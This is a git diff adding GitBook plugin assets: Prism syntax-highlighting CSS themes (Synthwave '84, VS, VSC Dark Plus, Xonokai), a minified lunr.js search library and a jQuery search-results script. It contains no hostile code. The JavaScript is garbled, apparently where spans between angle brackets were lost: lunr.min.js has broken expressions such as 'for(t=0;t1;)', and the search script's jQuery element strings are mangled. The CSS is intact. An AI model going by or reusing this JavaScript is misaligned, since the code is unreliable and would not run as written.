#6897bb; +} + +.token.number { + color: #ff628c; +} + +.token.property, +.token.constant, +.token.variable { + color: #ff628c; +} + +.token.string, +.token.char { + color: #a5ff90; +} + +.token.attr-value, +.token.attr-value .punctuation { + color: #a5c261; +} + +.token.attr-value .punctuation:first-child { + color: #a9b7c6; +} + +.token.url { + color: #287bde; + text-decoration: underline; +} + +.token.function { + color: rgb(250, 208, 0); +} + +.token.regex { + background: #364135; +} + +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.inserted { + background: #00ff00; +} + +.token.deleted { + background: #ff000d; +} + +code.language-css .token.property, +code.language-css .token.property + .token.punctuation { + color: #a9b7c6; +} + +code.language-css .token.id { + color: #ffc66d; +} + +code.language-css .token.selector > .token.class, +code.language-css .token.selector > .token.attribute, +code.language-css .token.selector > .token.pseudo-class, +code.language-css .token.selector > .token.pseudo-element { + color: #ffc66d; +} + +.token.class-name { + color: #fb94ff; +} + +.token.operator, +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string { + background: none; +} + +pre .line-highlight, +pre .line-highlight.line-highlight, +pre > code.line-highlight { + margin-top: 36px; + background: linear-gradient(to right, rgba(179, 98, 255, 0.17), transparent); +} + +pre .line-highlight:before, +pre > code.line-highlight:before, +pre .line-highlight[data-end]:after, +pre > code.line-highlight[data-end]:after { + content: ''; +} diff --git a/gitbook/gitbook-plugin-prism/prism-synthwave84.css b/gitbook/gitbook-plugin-prism/prism-synthwave84.css new file mode 100644 index 0000000..7f0595e --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-synthwave84.css @@ -0,0 +1,140 @@ +/* + * Synthwave '84 Theme originally by Robb Owen [@Robb0wen] for Visual Studio Code + * Demo: https://marc.dev/demo/prism-synthwave84 + * + * Ported for PrismJS by Marc Backes [@themarcba] + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #f92aad; + text-shadow: 0 0 2px #100c0f, 0 0 5px #dc078e33, 0 0 10px #fff3; + background: none; + font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; + font-size: 1em; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background-color: transparent !important; + background-image: linear-gradient(to bottom, #2a2139 75%, #34294f); +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; + white-space: normal; +} + +.token.comment, +.token.block-comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #8e8e8e; +} + +.token.punctuation { + color: #ccc; +} + +.token.tag, +.token.attr-name, +.token.namespace, +.token.number, +.token.unit, +.token.hexcode, +.token.deleted { + color: #e2777a; +} + +.token.property, +.token.selector { + color: #72f1b8; + text-shadow: 0 0 2px #100c0f, 0 0 10px #257c5575, 0 0 35px #21272475; +} + +.token.function-name { + color: #6196cc; +} + +.token.boolean, +.token.selector .token.id, +.token.function { + color: #fdfdfd; + text-shadow: 0 0 2px #001716, 0 0 3px #03edf975, 0 0 5px #03edf975, 0 0 8px #03edf975; +} + +.token.class-name { + color: #fff5f6; + text-shadow: 0 0 2px #000, 0 0 10px #fc1f2c75, 0 0 5px #fc1f2c75, 0 0 25px #fc1f2c75; +} + +.token.constant, +.token.symbol { + color: #f92aad; + text-shadow: 0 0 2px #100c0f, 0 0 5px #dc078e33, 0 0 10px #fff3; +} + +.token.important, +.token.atrule, +.token.keyword, +.token.selector .token.class, +.token.builtin { + color: #f4eee4; + text-shadow: 0 0 2px #393a33, 0 0 8px #f39f0575, 0 0 2px #f39f0575; +} + +.token.string, +.token.char, +.token.attr-value, +.token.regex, +.token.variable { + color: #f87c32; +} + +.token.operator, +.token.entity, +.token.url { + color: #67cdcc; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} + +.token.inserted { + color: green; +} diff --git a/gitbook/gitbook-plugin-prism/prism-vs.css b/gitbook/gitbook-plugin-prism/prism-vs.css new file mode 100644 index 0000000..d7612ac --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-vs.css @@ -0,0 +1,164 @@ +/** + * VS theme by Andrew Lock (https://andrewlock.net) + * Inspired by Visual Studio syntax coloring + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #393A34; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + font-size: .9em; + line-height: 1.2em; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + background: #C1DEF1; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + background: #C1DEF1; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + border: 1px solid #dddddd; + background-color: white; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .2em; + padding-top: 1px; + padding-bottom: 1px; + background: #f8f8f8; + border: 1px solid #dddddd; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #008000; + font-style: italic; +} + +.token.namespace { + opacity: .7; +} + +.token.string { + color: #A31515; +} + +.token.punctuation, +.token.operator { + color: #393A34; /* no highlight */ +} + +.token.url, +.token.symbol, +.token.number, +.token.boolean, +.token.variable, +.token.constant, +.token.inserted { + color: #36acaa; +} + +.token.atrule, +.token.keyword, +.token.attr-value, +.language-autohotkey .token.selector, +.language-json .token.boolean, +.language-json .token.number, +code[class*="language-css"] { + color: #0000ff; +} + +.token.function { + color: #393A34; +} + +.token.deleted, +.language-autohotkey .token.tag { + color: #9a050f; +} + +.token.selector, +.language-autohotkey .token.keyword { + color: #00009f; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.class-name, +.language-json .token.property { + color: #2B91AF; +} + +.token.tag, +.token.selector { + color: #800000; +} + +.token.attr-name, +.token.property, +.token.regex, +.token.entity { + color: #ff0000; +} + +.token.directive.tag .tag { + background: #ffff00; + color: #393A34; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #a5a5a5; +} + +.line-numbers-rows > span:before { + color: #2B91AF; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(193, 222, 241, 0.2); + background: -webkit-linear-gradient(left, rgba(193, 222, 241, 0.2) 70%, rgba(221, 222, 241, 0)); + background: linear-gradient(to right, rgba(193, 222, 241, 0.2) 70%, rgba(221, 222, 241, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-vsc-dark-plus.css b/gitbook/gitbook-plugin-prism/prism-vsc-dark-plus.css new file mode 100644 index 0000000..98add75 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-vsc-dark-plus.css @@ -0,0 +1,287 @@ +pre[class*="language-"], +code[class*="language-"] { + color: #d4d4d4; + font-size: 13px; + text-shadow: none; + font-family: Menlo, Monaco, Consolas, "Andale Mono", "Ubuntu Mono", "Courier New", monospace; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + line-height: 1.5; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre[class*="language-"]::selection, +code[class*="language-"]::selection, +pre[class*="language-"] *::selection, +code[class*="language-"] *::selection { + text-shadow: none; + background: #75a7ca; +} + +@media print { + pre[class*="language-"], + code[class*="language-"] { + text-shadow: none; + } +} + +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + background: #1e1e1e; +} + +:not(pre) > code[class*="language-"] { + padding: .1em .3em; + border-radius: .3em; + color: #db4c69; + background: #f9f2f4; +} +/********************************************************* +* Tokens +*/ +.namespace { + opacity: .7; +} + +.token.doctype .token.doctype-tag { + color: #569CD6; +} + +.token.doctype .token.name { + color: #9cdcfe; +} + +.token.comment, +.token.prolog { + color: #6a9955; +} + +.token.punctuation, +.language-html .language-css .token.punctuation, +.language-html .language-javascript .token.punctuation { + color: #d4d4d4; +} + +.token.property, +.token.tag, +.token.boolean, +.token.number, +.token.constant, +.token.symbol, +.token.inserted, +.token.unit { + color: #b5cea8; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.builtin, +.token.deleted { + color: #ce9178; +} + +.language-css .token.string.url { + text-decoration: underline; +} + +.token.operator, +.token.entity { + color: #d4d4d4; +} + +.token.operator.arrow { + color: #569CD6; +} + +.token.atrule { + color: #ce9178; +} + +.token.atrule .token.rule { + color: #c586c0; +} + +.token.atrule .token.url { + color: #9cdcfe; +} + +.token.atrule .token.url .token.function { + color: #dcdcaa; +} + +.token.atrule .token.url .token.punctuation { + color: #d4d4d4; +} + +.token.keyword { + color: #569CD6; +} + +.token.keyword.module, +.token.keyword.control-flow { + color: #c586c0; +} + +.token.function, +.token.function .token.maybe-class-name { + color: #dcdcaa; +} + +.token.regex { + color: #d16969; +} + +.token.important { + color: #569cd6; +} + +.token.italic { + font-style: italic; +} + +.token.constant { + color: #9cdcfe; +} + +.token.class-name, +.token.maybe-class-name { + color: #4ec9b0; +} + +.token.console { + color: #9cdcfe; +} + +.token.parameter { + color: #9cdcfe; +} + +.token.interpolation { + color: #9cdcfe; +} + +.token.punctuation.interpolation-punctuation { + color: #569cd6; +} + +.token.boolean { + color: #569cd6; +} + +.token.property, +.token.variable, +.token.imports .token.maybe-class-name, +.token.exports .token.maybe-class-name { + color: #9cdcfe; +} + +.token.selector { + color: #d7ba7d; +} + +.token.escape { + color: #d7ba7d; +} + +.token.tag { + color: #569cd6; +} + +.token.tag .token.punctuation { + color: #808080; +} + +.token.cdata { + color: #808080; +} + +.token.attr-name { + color: #9cdcfe; +} + +.token.attr-value, +.token.attr-value .token.punctuation { + color: #ce9178; +} + +.token.attr-value .token.punctuation.attr-equals { + color: #d4d4d4; +} + +.token.entity { + color: #569cd6; +} + +.token.namespace { + color: #4ec9b0; +} +/********************************************************* +* Language Specific +*/ + +pre[class*="language-javascript"], +code[class*="language-javascript"], +pre[class*="language-jsx"], +code[class*="language-jsx"], +pre[class*="language-typescript"], +code[class*="language-typescript"], +pre[class*="language-tsx"], +code[class*="language-tsx"] { + color: #9cdcfe; +} + +pre[class*="language-css"], +code[class*="language-css"] { + color: #ce9178; +} + +pre[class*="language-html"], +code[class*="language-html"] { + color: #d4d4d4; +} + +.language-regex .token.anchor { + color: #dcdcaa; +} + +.language-html .token.punctuation { + color: #808080; +} +/********************************************************* +* Line highlighting +*/ +pre[data-line] { + position: relative; +} + +pre[class*="language-"] > code[class*="language-"] { + position: relative; + z-index: 1; +} + +.line-highlight { + position: absolute; + left: 0; + right: 0; + padding: inherit 0; + margin-top: 1em; + background: #f7ebc6; + box-shadow: inset 5px 0 0 #f7d87c; + z-index: 0; + pointer-events: none; + line-height: inherit; + white-space: pre; +} diff --git a/gitbook/gitbook-plugin-prism/prism-xonokai.css b/gitbook/gitbook-plugin-prism/prism-xonokai.css new file mode 100644 index 0000000..8cdceb5 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-xonokai.css @@ -0,0 +1,189 @@ +/** +* xonokai theme for JavaScript, CSS and HTML +* based on: https://github.com/MoOx/sass-prism-theme-base by Maxime Thirouin ~ MoOx --> http://moox.fr/ , which is Loosely based on Monokai textmate theme by http://www.monokai.nl/ +* license: MIT; http://moox.mit-license.org/ +*/ +code[class*="language-"], +pre[class*="language-"] { + -moz-tab-size: 2; + -o-tab-size: 2; + tab-size: 2; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + white-space: pre; + white-space: pre-wrap; + word-wrap: normal; + font-family: Menlo, Monaco, "Courier New", monospace; + font-size: 14px; + color: #76d9e6; + text-shadow: none; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"], +:not(pre) > code[class*="language-"] { + background: #2a2a2a; +} + +pre[class*="language-"] { + padding: 15px; + border-radius: 4px; + border: 1px solid #e1e1e8; + overflow: auto; + position: relative; +} + +pre[class*="language-"] code { + white-space: pre; + display: block; +} + +:not(pre) > code[class*="language-"] { + padding: 0.15em 0.2em 0.05em; + border-radius: .3em; + border: 0.13em solid #7a6652; + box-shadow: 1px 1px 0.3em -0.1em #000 inset; +} + +.token.namespace { + opacity: .7; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #6f705e; +} + +.token.operator, +.token.boolean, +.token.number { + color: #a77afe; +} + +.token.attr-name, +.token.string { + color: #e6d06c; +} + +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string { + color: #e6d06c; +} + +.token.selector, +.token.inserted { + color: #a6e22d; +} + +.token.atrule, +.token.attr-value, +.token.keyword, +.token.important, +.token.deleted { + color: #ef3b7d; +} + +.token.regex, +.token.statement { + color: #76d9e6; +} + +.token.placeholder, +.token.variable { + color: #fff; +} + +.token.important, +.token.statement, +.token.bold { + font-weight: bold; +} + +.token.punctuation { + color: #bebec5; +} + +.token.entity { + cursor: help; +} + +.token.italic { + font-style: italic; +} + +code.language-markup { + color: #f9f9f9; +} + +code.language-markup .token.tag { + color: #ef3b7d; +} + +code.language-markup .token.attr-name { + color: #a6e22d; +} + +code.language-markup .token.attr-value { + color: #e6d06c; +} + +code.language-markup .token.style, +code.language-markup .token.script { + color: #76d9e6; +} + +code.language-markup .token.script .token.keyword { + color: #76d9e6; +} + +/* Line highlight plugin */ +pre[class*="language-"][data-line] { + position: relative; + padding: 1em 0 1em 3em; +} + +pre[data-line] .line-highlight { + position: absolute; + left: 0; + right: 0; + padding: 0; + margin-top: 1em; + background: rgba(255, 255, 255, 0.08); + pointer-events: none; + line-height: inherit; + white-space: pre; +} + +pre[data-line] .line-highlight:before, +pre[data-line] .line-highlight[data-end]:after { + content: attr(data-start); + position: absolute; + top: .4em; + left: .6em; + min-width: 1em; + padding: 0.2em 0.5em; + background-color: rgba(255, 255, 255, 0.4); + color: black; + font: bold 65%/1 sans-serif; + height: 1em; + line-height: 1em; + text-align: center; + border-radius: 999px; + text-shadow: none; + box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7); +} + +pre[data-line] .line-highlight[data-end]:after { + content: attr(data-end); + top: auto; + bottom: .4em; +} diff --git a/gitbook/gitbook-plugin-search/lunr.min.js b/gitbook/gitbook-plugin-search/lunr.min.js new file mode 100644 index 0000000..6aa6bc7 --- /dev/null +++ b/gitbook/gitbook-plugin-search/lunr.min.js @@ -0,0 +1,7 @@ +/** + * lunr - http://lunrjs.com - A bit like Solr, but much smaller and not as bright - 0.5.12 + * Copyright (C) 2015 Oliver Nightingale + * MIT Licensed + * @license + */ +!function(){var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.5.12",t.utils={},t.utils.warn=function(t){return function(e){t.console&&console.warn&&console.warn(e)}}(this),t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var t=Array.prototype.slice.call(arguments),e=t.pop(),n=t;if("function"!=typeof e)throw new TypeError("last argument must be a function");n.forEach(function(t){this.hasHandler(t)||(this.events[t]=[]),this.events[t].push(e)},this)},t.EventEmitter.prototype.removeListener=function(t,e){if(this.hasHandler(t)){var n=this.events[t].indexOf(e);this.events[t].splice(n,1),this.events[t].length||delete this.events[t]}},t.EventEmitter.prototype.emit=function(t){if(this.hasHandler(t)){var e=Array.prototype.slice.call(arguments,1);this.events[t].forEach(function(t){t.apply(void 0,e)})}},t.EventEmitter.prototype.hasHandler=function(t){return t in this.events},t.tokenizer=function(t){return arguments.length&&null!=t&&void 0!=t?Array.isArray(t)?t.map(function(t){return t.toLowerCase()}):t.toString().trim().toLowerCase().split(/[\s\-]+/):[]},t.Pipeline=function(){this._stack=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in this.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[e.label]=e},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.registeredFunctions[e];if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._stack.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._stack.indexOf(e);if(-1==i)throw new Error("Cannot find existingFn");i+=1,this._stack.splice(i,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._stack.indexOf(e);if(-1==i)throw new Error("Cannot find existingFn");this._stack.splice(i,0,n)},t.Pipeline.prototype.remove=function(t){var e=this._stack.indexOf(t);-1!=e&&this._stack.splice(e,1)},t.Pipeline.prototype.run=function(t){for(var e=[],n=t.length,i=this._stack.length,o=0;n>o;o++){for(var r=t[o],s=0;i>s&&(r=this._stack[s](r,o,t),void 0!==r);s++);void 0!==r&&e.push(r)}return e},t.Pipeline.prototype.reset=function(){this._stack=[]},t.Pipeline.prototype.toJSON=function(){return this._stack.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Vector=function(){this._magnitude=null,this.list=void 0,this.length=0},t.Vector.Node=function(t,e,n){this.idx=t,this.val=e,this.next=n},t.Vector.prototype.insert=function(e,n){this._magnitude=void 0;var i=this.list;if(!i)return this.list=new t.Vector.Node(e,n,i),this.length++;if(en.idx?n=n.next:(i+=e.val*n.val,e=e.next,n=n.next);return i},t.Vector.prototype.similarity=function(t){return this.dot(t)/(this.magnitude()*t.magnitude())},t.SortedSet=function(){this.length=0,this.elements=[]},t.SortedSet.load=function(t){var e=new this;return e.elements=t,e.length=t.length,e},t.SortedSet.prototype.add=function(){var t,e;for(t=0;t1;){if(r===t)return o;t>r&&(e=o),r>t&&(n=o),i=n-e,o=e+Math.floor(i/2),r=this.elements[o]}return r===t?o:-1},t.SortedSet.prototype.locationFor=function(t){for(var e=0,n=this.elements.length,i=n-e,o=e+Math.floor(i/2),r=this.elements[o];i>1;)t>r&&(e=o),r>t&&(n=o),i=n-e,o=e+Math.floor(i/2),r=this.elements[o];return r>t?o:t>r?o+1:void 0},t.SortedSet.prototype.intersect=function(e){for(var n=new t.SortedSet,i=0,o=0,r=this.length,s=e.length,a=this.elements,h=e.elements;;){if(i>r-1||o>s-1)break;a[i]!==h[o]?a[i]h[o]&&o++:(n.add(a[i]),i++,o++)}return n},t.SortedSet.prototype.clone=function(){var e=new t.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},t.SortedSet.prototype.union=function(t){var e,n,i;return this.length>=t.length?(e=this,n=t):(e=t,n=this),i=e.clone(),i.add.apply(i,n.toArray()),i},t.SortedSet.prototype.toJSON=function(){return this.toArray()},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.Store,this.tokenStore=new t.TokenStore,this.corpusTokens=new t.SortedSet,this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var t=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,t)},t.Index.prototype.off=function(t,e){return this.eventEmitter.removeListener(t,e)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;return n._fields=e.fields,n._ref=e.ref,n.documentStore=t.Store.load(e.documentStore),n.tokenStore=t.TokenStore.load(e.tokenStore),n.corpusTokens=t.SortedSet.load(e.corpusTokens),n.pipeline=t.Pipeline.load(e.pipeline),n},t.Index.prototype.field=function(t,e){var e=e||{},n={name:t,boost:e.boost||1};return this._fields.push(n),this},t.Index.prototype.ref=function(t){return this._ref=t,this},t.Index.prototype.add=function(e,n){var i={},o=new t.SortedSet,r=e[this._ref],n=void 0===n?!0:n;this._fields.forEach(function(n){var r=this.pipeline.run(t.tokenizer(e[n.name]));i[n.name]=r,t.SortedSet.prototype.add.apply(o,r)},this),this.documentStore.set(r,o),t.SortedSet.prototype.add.apply(this.corpusTokens,o.toArray());for(var s=0;s0&&(i=1+Math.log(this.documentStore.length/n)),this._idfCache[e]=i},t.Index.prototype.search=function(e){var n=this.pipeline.run(t.tokenizer(e)),i=new t.Vector,o=[],r=this._fields.reduce(function(t,e){return t+e.boost},0),s=n.some(function(t){return this.tokenStore.has(t)},this);if(!s)return[];n.forEach(function(e,n,s){var a=1/s.length*this._fields.length*r,h=this,l=this.tokenStore.expand(e).reduce(function(n,o){var r=h.corpusTokens.indexOf(o),s=h.idf(o),l=1,u=new t.SortedSet;if(o!==e){var c=Math.max(3,o.length-e.length);l=1/Math.log(c)}return r>-1&&i.insert(r,a*s*l),Object.keys(h.tokenStore.get(o)).forEach(function(t){u.add(t)}),n.union(u)},new t.SortedSet);o.push(l)},this);var a=o.reduce(function(t,e){return t.intersect(e)});return a.map(function(t){return{ref:t,score:i.similarity(this.documentVector(t))}},this).sort(function(t,e){return e.score-t.score})},t.Index.prototype.documentVector=function(e){for(var n=this.documentStore.get(e),i=n.length,o=new t.Vector,r=0;i>r;r++){var s=n.elements[r],a=this.tokenStore.get(s)[e].tf,h=this.idf(s);o.insert(this.corpusTokens.indexOf(s),a*h)}return o},t.Index.prototype.toJSON=function(){return{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),tokenStore:this.tokenStore.toJSON(),corpusTokens:this.corpusTokens.toJSON(),pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(t){var e=Array.prototype.slice.call(arguments,1);e.unshift(this),t.apply(this,e)},t.Store=function(){this.store={},this.length=0},t.Store.load=function(e){var n=new this;return n.length=e.length,n.store=Object.keys(e.store).reduce(function(n,i){return n[i]=t.SortedSet.load(e.store[i]),n},{}),n},t.Store.prototype.set=function(t,e){this.has(t)||this.length++,this.store[t]=e},t.Store.prototype.get=function(t){return this.store[t]},t.Store.prototype.has=function(t){return t in this.store},t.Store.prototype.remove=function(t){this.has(t)&&(delete this.store[t],this.length--)},t.Store.prototype.toJSON=function(){return{store:this.store,length:this.length}},t.stemmer=function(){var t={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},e={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,a="^("+o+")?"+r+o+"("+r+")?$",h="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,u=new RegExp(s),c=new RegExp(h),f=new RegExp(a),d=new RegExp(l),p=/^(.+?)(ss|i)es$/,m=/^(.+?)([^s])s$/,v=/^(.+?)eed$/,y=/^(.+?)(ed|ing)$/,g=/.$/,S=/(at|bl|iz)$/,w=new RegExp("([^aeiouylsz])\\1$"),x=new RegExp("^"+o+i+"[^aeiouwxy]$"),k=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,_=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,O=/^(.+?)e$/,P=/ll$/,N=new RegExp("^"+o+i+"[^aeiouwxy]$"),T=function(n){var i,o,r,s,a,h,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,a=m,s.test(n)?n=n.replace(s,"$1$2"):a.test(n)&&(n=n.replace(a,"$1$2")),s=v,a=y,s.test(n)){var T=s.exec(n);s=u,s.test(T[1])&&(s=g,n=n.replace(s,""))}else if(a.test(n)){var T=a.exec(n);i=T[1],a=d,a.test(i)&&(n=i,a=S,h=w,l=x,a.test(n)?n+="e":h.test(n)?(s=g,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=k,s.test(n)){var T=s.exec(n);i=T[1],n=i+"i"}if(s=b,s.test(n)){var T=s.exec(n);i=T[1],o=T[2],s=u,s.test(i)&&(n=i+t[o])}if(s=E,s.test(n)){var T=s.exec(n);i=T[1],o=T[2],s=u,s.test(i)&&(n=i+e[o])}if(s=_,a=F,s.test(n)){var T=s.exec(n);i=T[1],s=c,s.test(i)&&(n=i)}else if(a.test(n)){var T=a.exec(n);i=T[1]+T[2],a=c,a.test(i)&&(n=i)}if(s=O,s.test(n)){var T=s.exec(n);i=T[1],s=c,a=f,h=N,(s.test(i)||a.test(i)&&!h.test(i))&&(n=i)}return s=P,a=c,s.test(n)&&a.test(n)&&(s=g,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return T}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==e?e:void 0},t.stopWordFilter.stopWords={a:"a",able:"able",about:"about",across:"across",after:"after",all:"all",almost:"almost",also:"also",am:"am",among:"among",an:"an",and:"and",any:"any",are:"are",as:"as",at:"at",be:"be",because:"because",been:"been",but:"but",by:"by",can:"can",cannot:"cannot",could:"could",dear:"dear",did:"did","do":"do",does:"does",either:"either","else":"else",ever:"ever",every:"every","for":"for",from:"from",get:"get",got:"got",had:"had",has:"has",have:"have",he:"he",her:"her",hers:"hers",him:"him",his:"his",how:"how",however:"however",i:"i","if":"if","in":"in",into:"into",is:"is",it:"it",its:"its",just:"just",least:"least",let:"let",like:"like",likely:"likely",may:"may",me:"me",might:"might",most:"most",must:"must",my:"my",neither:"neither",no:"no",nor:"nor",not:"not",of:"of",off:"off",often:"often",on:"on",only:"only",or:"or",other:"other",our:"our",own:"own",rather:"rather",said:"said",say:"say",says:"says",she:"she",should:"should",since:"since",so:"so",some:"some",than:"than",that:"that",the:"the",their:"their",them:"them",then:"then",there:"there",these:"these",they:"they","this":"this",tis:"tis",to:"to",too:"too",twas:"twas",us:"us",wants:"wants",was:"was",we:"we",were:"were",what:"what",when:"when",where:"where",which:"which","while":"while",who:"who",whom:"whom",why:"why",will:"will","with":"with",would:"would",yet:"yet",you:"you",your:"your"},t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(t){var e=t.replace(/^\W+/,"").replace(/\W+$/,"");return""===e?void 0:e},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.TokenStore=function(){this.root={docs:{}},this.length=0},t.TokenStore.load=function(t){var e=new this;return e.root=t.root,e.length=t.length,e},t.TokenStore.prototype.add=function(t,e,n){var n=n||this.root,i=t[0],o=t.slice(1);return i in n||(n[i]={docs:{}}),0===o.length?(n[i].docs[e.ref]=e,void(this.length+=1)):this.add(o,e,n[i])},t.TokenStore.prototype.has=function(t){if(!t)return!1;for(var e=this.root,n=0;n element for each result + res.results.forEach(function(res) { + var $li = $('
                • ', { + 'class': 'search-results-item' + }); + + var $title = $('

                  '); + + var $link = $('', { + 'href': gitbook.state.basePath + '/' + res.url, + 'text': res.title + }); + + var content = res.body.trim(); + if (content.length > MAX_DESCRIPTION_SIZE) { + content = content.slice(0, MAX_DESCRIPTION_SIZE).trim()+'...'; + } + var $content = $('

                  ').html(content); + + $link.appendTo($title); + $title.appendTo($li); + $content.appendTo($li); + $li.appendTo($searchList); + }); + } + + function launchSearch(q) { + // Add class for loading + $body.addClass('with-search'); + $body.addClass('search-loading'); + + // Launch search query + throttle(gitbook.search.query(q, 0, MAX_RESULTS) + .then(function(results) { + displayResults(results); + }) + .always(function() { + $body.removeClass('search-loading'); + }), 1000); + } + + function closeSearch() { + $body.removeClass('with-search'); + $bookSearchResults.removeClass('open'); + } + + function launchSearchFromQueryString() { + var q = getParameterByName('q'); + if (q && q.length > 0) { + // Update search input + $searchInput.val(q); + + // Launch search + launchSearch(q); + } + } + + function bindSearch() { + // Bind DOM + $searchInput = $('#book-search-input input'); + $bookSearchResults = $('#book-search-results'); + $searchList = $bookSearchResults.find('.search-results-list'); + $searchTitle = $bookSearchResults.find('.search-results-title'); + $searchResultsCount = $searchTitle.find('.search-results-count'); + $searchQuery = $searchTitle.find('.search-query'); + + // Launch query based on input content + function handleUpdate() { + var q = $searchInput.val(); + + if (q.length == 0) { + closeSearch(); + } + else { + launchSearch(q); + } + } + + // Detect true content change in search input + // Workaround for IE < 9 + var propertyChangeUnbound = false; + $searchInput.on('propertychange', function(e) { + if (e.originalEvent.propertyName 